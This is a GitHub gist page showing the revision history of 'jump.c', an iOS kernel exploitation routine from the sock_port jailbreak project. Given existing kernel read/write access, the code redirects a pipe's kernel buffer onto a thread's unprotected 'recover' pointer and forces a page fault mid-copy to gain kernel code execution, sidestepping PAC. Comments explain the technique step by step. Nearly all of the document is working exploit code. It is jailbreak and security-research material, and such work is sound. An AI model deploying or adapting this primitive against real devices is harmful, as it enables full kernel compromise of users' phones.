Skip to content

Instantly share code, notes, and snippets.

@jakeajames
Last active July 30, 2019 10:12
Show Gist options
  • Select an option

  • Save jakeajames/e48dc0bb0c202178421fc9ae0dc53f0d to your computer and use it in GitHub Desktop.

Select an option

Save jakeajames/e48dc0bb0c202178421fc9ae0dc53f0d to your computer and use it in GitHub Desktop.

Revisions

  1. jakeajames revised this gist Jul 30, 2019. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion jump.c
    Original file line number Diff line number Diff line change
    @@ -58,7 +58,7 @@ void jump(uint64_t ptr) {
    uint64_t proc = proc_of_pid(pid);
    uint64_t p_fd = KernelRead_64bits(proc + off_p_fd);
    uint64_t fd_ofiles = KernelRead_64bits(p_fd);
    uint64_t fproc = KernelRead_64bits(fd_ofiles + fd * 8);
    uint64_t fproc = KernelRead_64bits(fd_ofiles + rfd * 8);
    uint64_t f_fglob = KernelRead_64bits(fproc + 8);
    uint64_t pipe_struct = KernelRead_64bits(f_fglob + 56); // get the "struct pipe" of our read file descriptor
    KernelWrite_64bits(pipe_struct + 16, thread_func_addr); // our data will end up on pipe->pipe_buffer.buffer (offset 16), so overwrite that with the thing we want to write into
  2. jakeajames revised this gist Jul 24, 2019. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion jump.c
    Original file line number Diff line number Diff line change
    @@ -11,7 +11,7 @@
    void jump(uint64_t ptr) {

    // discovered by bazad
    // patched in who knows where
    // patched in 12.2

    /* when a page fault occurs (i.e. when something tries to access unmapped memory) the kernel will execute a handler function in the thread that caused the page fault, that function is set in the thread's structure on the kernel when a copying operation using memcpy() occurs (thread->recover). this pointer is unprotected from PAC so we can overwrite it. but since pointer is set when copying starts and is unset when it ends we need to overwrite it *while* copying *and* *after* we do that we need to trigger a page fault, still *while* copying.
  3. jakeajames created this gist Jul 24, 2019.
    67 changes: 67 additions & 0 deletions jump.c
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,67 @@
    //
    // jump.c
    // sock_port
    //
    // Created by Jake James on 7/14/19.
    // Copyright © 2019 Jake James. All rights reserved.
    //

    #include <sys/mman.h>

    void jump(uint64_t ptr) {

    // discovered by bazad
    // patched in who knows where

    /* when a page fault occurs (i.e. when something tries to access unmapped memory) the kernel will execute a handler function in the thread that caused the page fault, that function is set in the thread's structure on the kernel when a copying operation using memcpy() occurs (thread->recover). this pointer is unprotected from PAC so we can overwrite it. but since pointer is set when copying starts and is unset when it ends we need to overwrite it *while* copying *and* *after* we do that we need to trigger a page fault, still *while* copying.
    a way to do that is simple: memcpy(handler_func, ptr, a_number_bigger_than_8), where handler_func is address of thread->recover, ptr is a pointer pointing 8 bytes before the end of a page and what comes after must be unmapped. so, kernel copies 8 bytes, finds unmapped memory, fault occurs, it jumps to the handler which was just overwritten with 8 custom bytes. boom, code execution
    but, how do u run memcpy() in the kernel like that?? see below
    */

    // get some stuff ready
    mach_port_t p = mach_thread_self(); // our thread port
    uint64_t paddr = FindPortAddress(p); // thread port address
    uint64_t thread = KernelRead_64bits(paddr + 0x68); // thread address

    // the thing we'll overwrite, thread->recover
    #if __arm64e__
    uint64_t thread_func_addr = thread + 0x348;
    #else
    uint64_t thread_func_addr = thread + 0x340;
    #endif

    uint8_t *pages = malloc(0x8000); // allocate two pages
    mprotect(pages + 0x4000, 0x4000, PROT_NONE); // make the second page inaccessible
    uint8_t *addr = pages + 0x4000 - 8; // we will write our pointer at the end of the first page
    *(uint64_t*)addr = ptr; // write our target pc into the last 8 bytes

    // thx Siguza
    /* the idea is this:
    - we create a pipe, which consists of two file descriptors, one for reading and one for writing.
    - when we use write() on the writing fd, it will write the buffer on the reading fd's structure
    - but we can patch the read fd's struct, thus controlling where we write. an important note is that data from us to the kernel buffer will end up using copyin() which uses memcpy(), what we wanted to execute!
    */

    // create a pipe
    int fds[2];
    int ret = pipe(fds);
    if (ret) {
    printf("[-] pipe() error: %d (%s)\n", errno, strerror(errno));
    return;
    }

    int rfd = fds[0]; // the read file descriptor (where data will be written)
    int wfd = fds[1]; // the write file descriptor

    uint64_t proc = proc_of_pid(pid);
    uint64_t p_fd = KernelRead_64bits(proc + off_p_fd);
    uint64_t fd_ofiles = KernelRead_64bits(p_fd);
    uint64_t fproc = KernelRead_64bits(fd_ofiles + fd * 8);
    uint64_t f_fglob = KernelRead_64bits(fproc + 8);
    uint64_t pipe_struct = KernelRead_64bits(f_fglob + 56); // get the "struct pipe" of our read file descriptor
    KernelWrite_64bits(pipe_struct + 16, thread_func_addr); // our data will end up on pipe->pipe_buffer.buffer (offset 16), so overwrite that with the thing we want to write into

    write(wfd, addr, 9); // this will write 8 bytes then trigger a fault, which will execute thread->recover
    }